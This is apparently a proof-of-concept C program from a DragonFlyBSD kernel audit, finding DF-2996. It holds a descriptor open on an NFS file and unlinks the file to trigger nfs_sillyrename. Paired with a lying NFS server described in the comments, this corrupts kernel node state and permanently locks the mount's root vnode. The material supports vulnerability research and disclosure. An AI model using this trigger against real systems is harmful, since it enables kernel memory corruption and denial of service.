DragonFlyBSD Kernel Audit
DF-2996 / trigger.c
← back to finding ↓ download raw
/*
 * trigger.c - DF-2996 PoC trigger
 *
 * 1. open("/mnt/d/f", O_CREAT|O_RDWR)   -> keeps an fd (VREFCNT>1 path)
 * 2. unlink("/mnt/d/f")                 -> nfs_remove -> nfs_sillyrename
 *    server lies in the final LOOKUP(.nfsXXX) (see fakesrv.c) ->
 *      mode err  : nfs_lookitup error ignored, uninitialized np written
 *      mode dirfh: dir-node np returned -> n_cookies corrupted + node lock
 *                  leaked
 * 3. probe: stat("/mnt") - in mode dirfh this hangs forever because the
 *    root vnode is permanently LK_EXCLUSIVE-locked (the reference/lock that
 *    nfs_lookitup acquired for the "found" node is never released).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/stat.h>

static void
alarm_handler(int sig __attribute__((unused)))
{
	printf("trigger: stat(\"/mnt\") HUNG >5s "
	       "(root vnode lock leaked: confirmed)\n");
	fflush(stdout);
	_exit(42);
}

int
main(void)
{
	struct stat st;
	int fd;

	fd = open("/mnt/d/f", O_CREAT | O_RDWR, 0666);
	if (fd < 0) {
		printf("trigger: open failed: %s\n", strerror(errno));
		return 1;
	}
	printf("trigger: fd=%d open, now unlink while fd held...\n", fd);
	fflush(stdout);

	if (unlink("/mnt/d/f") < 0) {
		printf("trigger: unlink failed: %s\n", strerror(errno));
		return 1;
	}
	printf("trigger: unlink returned 0 (nfs_sillyrename executed - "
	       "the buggy line ran)\n");
	fflush(stdout);

	close(fd);

	/* probe: does the mount root still work? */
	signal(SIGALRM, alarm_handler);
	alarm(5);
	if (stat("/mnt", &st) < 0)
		printf("trigger: stat(/mnt) error: %s\n", strerror(errno));
	else
		printf("trigger: stat(/mnt) ok (mode err: mount still alive)\n");
	alarm(0);
	fflush(stdout);
	return 0;
}